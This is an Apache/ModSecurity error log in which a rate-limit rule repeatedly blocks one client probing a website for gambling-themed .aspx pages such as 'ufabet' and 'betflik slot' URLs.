[Mon Feb 09 04:42:15.248229 2026] [:error] [pid 47937:tid 47970] [client 95.217.109.26:40346] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYj1J84Fd42MP2DhNrUMZQAAABg"]
[Mon Feb 09 04:42:17.898726 2026] [:error] [pid 47938:tid 48001] [client 95.217.109.26:58184] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYj1KbVCzWE6fQJEkNIH4AAAAFY"]
[Mon Feb 09 04:42:20.734348 2026] [:error] [pid 48044:tid 48061] [client 95.217.109.26:58198] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYj1LJvmvsMP5E03sZKzegAAAM8"]
[Mon Feb 09 04:42:23.486545 2026] [:error] [pid 47938:tid 47982] [client 95.217.109.26:58210] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYj1L7VCzWE6fQJEkNIH6AAAAEM"]
[Mon Feb 09 04:42:26.078386 2026] [:error] [pid 48044:tid 48064] [client 95.217.109.26:58214] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYj1MpvmvsMP5E03sZKzhwAAANI"]
[Mon Feb 09 04:42:28.760990 2026] [:error] [pid 47937:tid 47964] [client 95.217.109.26:51948] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYj1NM4Fd42MP2DhNrUMdgAAABI"]
[Mon Feb 09 04:42:31.365955 2026] [:error] [pid 47939:tid 48027] [client 95.217.109.26:51962] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYj1N9kpZei8M7cJ2z0qUAAAAJU"]
[Mon Feb 09 04:42:34.214997 2026] [:error] [pid 18303:tid 18318] [client 95.217.109.26:51972] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYj1OkY7TEaZkFrGG4m3_gAAAQ0"]
[Mon Feb 09 04:42:36.908377 2026] [:error] [pid 18303:tid 18328] [client 95.217.109.26:62020] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYj1PEY7TEaZkFrGG4m4BAAAARc"]
[Mon Feb 09 04:42:39.660831 2026] [:error] [pid 47938:tid 47996] [client 95.217.109.26:62028] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYj1P7VCzWE6fQJEkNIH_wAAAFE"]
[Mon Feb 09 04:42:42.385348 2026] [:error] [pid 47939:tid 48018] [client 95.217.109.26:62034] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYj1QtkpZei8M7cJ2z0qYwAAAIw"]
[Mon Feb 09 04:42:45.252435 2026] [:error] [pid 47937:tid 47950] [client 95.217.109.26:62040] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYj1Rc4Fd42MP2DhNrUMjQAAAAQ"]
[Mon Feb 09 04:42:48.013733 2026] [:error] [pid 47937:tid 47962] [client 95.217.109.26:45840] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYj1SM4Fd42MP2DhNrUMkQAAABA"]
[Mon Feb 09 05:10:00.153679 2026] [:error] [pid 18303:tid 18329] [client 95.217.109.26:41962] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYj7qEY7TEaZkFrGG4nFvQAAARg"]
[Mon Feb 09 05:10:02.816823 2026] [:error] [pid 47937:tid 47954] [client 95.217.109.26:41976] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYj7qs4Fd42MP2DhNrUVbAAAAAg"]
[Mon Feb 09 05:10:05.454783 2026] [:error] [pid 47937:tid 47957] [client 95.217.109.26:41982] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYj7rc4Fd42MP2DhNrUVeAAAAAs"]
[Mon Feb 09 05:10:08.112662 2026] [:error] [pid 18303:tid 18313] [client 95.217.109.26:3094] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYj7sEY7TEaZkFrGG4nF1QAAAQg"]
[Mon Feb 09 05:10:10.756595 2026] [:error] [pid 18303:tid 18313] [client 95.217.109.26:3100] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYj7skY7TEaZkFrGG4nF5QAAAQg"]
[Mon Feb 09 05:10:13.245909 2026] [:error] [pid 48044:tid 48059] [client 95.217.109.26:3110] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYj7tZvmvsMP5E03sZK_XQAAAM0"]
[Mon Feb 09 05:10:15.740860 2026] [:error] [pid 47938:tid 48002] [client 95.217.109.26:3124] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYj7t7VCzWE6fQJEkNIRNwAAAFc"]
[Mon Feb 09 05:10:18.230551 2026] [:error] [pid 47939:tid 48028] [client 95.217.109.26:43542] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYj7utkpZei8M7cJ2z0z0QAAAJY"]
[Mon Feb 09 05:10:20.872918 2026] [:error] [pid 47937:tid 47962] [client 95.217.109.26:43546] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYj7vM4Fd42MP2DhNrUVxwAAABA"]
[Mon Feb 09 05:10:23.355733 2026] [:error] [pid 18303:tid 18316] [client 95.217.109.26:43552] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYj7v0Y7TEaZkFrGG4nGAAAAAQs"]
[Mon Feb 09 05:10:25.849680 2026] [:error] [pid 48044:tid 48047] [client 95.217.109.26:43560] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYj7wZvmvsMP5E03sZK_cwAAAME"]
[Mon Feb 09 05:10:28.489878 2026] [:error] [pid 18303:tid 18316] [client 95.217.109.26:26198] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYj7xEY7TEaZkFrGG4nGCQAAAQs"]
[Mon Feb 09 05:10:31.162783 2026] [:error] [pid 47937:tid 47947] [client 95.217.109.26:26210] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYj7x84Fd42MP2DhNrUV2gAAAAE"]
[Mon Feb 09 05:10:33.647805 2026] [:error] [pid 47938:tid 47992] [client 95.217.109.26:26226] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYj7ybVCzWE6fQJEkNIRUgAAAE0"]
[Mon Feb 09 05:10:36.197364 2026] [:error] [pid 47937:tid 47966] [client 95.217.109.26:26236] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYj7zM4Fd42MP2DhNrUV5gAAABQ"]
[Mon Feb 09 05:10:38.925964 2026] [:error] [pid 47939:tid 48019] [client 95.217.109.26:9902] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYj7ztkpZei8M7cJ2z0z9wAAAI0"]
[Mon Feb 09 05:10:41.645218 2026] [:error] [pid 18303:tid 18306] [client 95.217.109.26:9904] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYj70UY7TEaZkFrGG4nGLgAAAQE"]
[Mon Feb 09 05:10:44.370786 2026] [:error] [pid 47937:tid 47959] [client 95.217.109.26:9918] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYj71M4Fd42MP2DhNrUV9wAAAA0"]
[Mon Feb 09 05:11:25.052376 2026] [:error] [pid 48044:tid 48058] [client 95.217.109.26:15896] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYj7_ZvmvsMP5E03sZLAFAAAAMw"]
[Mon Feb 09 05:11:27.542654 2026] [:error] [pid 18303:tid 18323] [client 95.217.109.26:53528] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYj7_0Y7TEaZkFrGG4nGogAAARI"]
[Mon Feb 09 05:11:30.053780 2026] [:error] [pid 48044:tid 48070] [client 95.217.109.26:53534] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYj8ApvmvsMP5E03sZLAHAAAANg"]
[Mon Feb 09 05:11:32.684751 2026] [:error] [pid 47938:tid 48003] [client 95.217.109.26:53546] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYj8BLVCzWE6fQJEkNIR0wAAAFg"]
[Mon Feb 09 05:11:35.191619 2026] [:error] [pid 47938:tid 48001] [client 95.217.109.26:53548] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYj8B7VCzWE6fQJEkNIR1gAAAFY"]
[Mon Feb 09 05:11:37.884767 2026] [:error] [pid 47938:tid 47986] [client 95.217.109.26:20378] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYj8CbVCzWE6fQJEkNIR1wAAAEc"]
[Mon Feb 09 05:11:40.414048 2026] [:error] [pid 48044:tid 48062] [client 95.217.109.26:20382] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYj8DJvmvsMP5E03sZLALAAAANA"]
[Mon Feb 09 05:11:43.132765 2026] [:error] [pid 47937:tid 47949] [client 95.217.109.26:20386] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYj8D84Fd42MP2DhNrUWeQAAAAM"]
[Mon Feb 09 05:11:45.803758 2026] [:error] [pid 18303:tid 18329] [client 95.217.109.26:20398] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYj8EUY7TEaZkFrGG4nG3AAAARg"]
[Mon Feb 09 05:11:55.345149 2026] [:error] [pid 47937:tid 47955] [client 95.217.109.26:29310] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYj8G84Fd42MP2DhNrUWggAAAAk"]
[Mon Feb 09 05:11:57.848035 2026] [:error] [pid 48044:tid 48056] [client 95.217.109.26:29578] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYj8HZvmvsMP5E03sZLAVQAAAMo"]
[Mon Feb 09 05:12:00.319341 2026] [:error] [pid 47937:tid 47959] [client 95.217.109.26:29590] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYj8IM4Fd42MP2DhNrUWjAAAAA0"]
[Mon Feb 09 05:12:02.981128 2026] [:error] [pid 18303:tid 18321] [client 95.217.109.26:29602] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYj8IkY7TEaZkFrGG4nG-QAAARA"]
[Mon Feb 09 05:12:05.568987 2026] [:error] [pid 18303:tid 18313] [client 95.217.109.26:29604] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYj8JUY7TEaZkFrGG4nG_wAAAQg"]
[Mon Feb 09 05:12:08.076855 2026] [:error] [pid 18303:tid 18322] [client 95.217.109.26:56472] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYj8KEY7TEaZkFrGG4nHDAAAARE"]
[Mon Feb 09 05:12:10.787042 2026] [:error] [pid 47937:tid 47950] [client 95.217.109.26:56488] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYj8Ks4Fd42MP2DhNrUWnQAAAAQ"]
[Mon Feb 09 05:12:13.501977 2026] [:error] [pid 47937:tid 47967] [client 95.217.109.26:56492] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYj8Lc4Fd42MP2DhNrUWpQAAABU"]
[Mon Feb 09 05:12:16.076662 2026] [:error] [pid 18303:tid 18326] [client 95.217.109.26:56494] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYj8MEY7TEaZkFrGG4nHIwAAARU"]
[Mon Feb 09 05:12:47.317541 2026] [:error] [pid 47937:tid 47966] [client 95.217.109.26:16218] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYj8T84Fd42MP2DhNrUW8AAAABQ"]
[Mon Feb 09 05:12:49.853980 2026] [:error] [pid 18303:tid 18326] [client 95.217.109.26:16230] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYj8UUY7TEaZkFrGG4nHZQAAARU"]
[Mon Feb 09 05:12:52.509147 2026] [:error] [pid 47938:tid 47982] [client 95.217.109.26:16234] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYj8VLVCzWE6fQJEkNISUQAAAEM"]
[Mon Feb 09 05:12:55.050129 2026] [:error] [pid 47938:tid 47999] [client 95.217.109.26:16240] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYj8V7VCzWE6fQJEkNISVgAAAFQ"]
[Mon Feb 09 05:12:57.701663 2026] [:error] [pid 48044:tid 48058] [client 95.217.109.26:56440] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYj8WZvmvsMP5E03sZLAygAAAMw"]
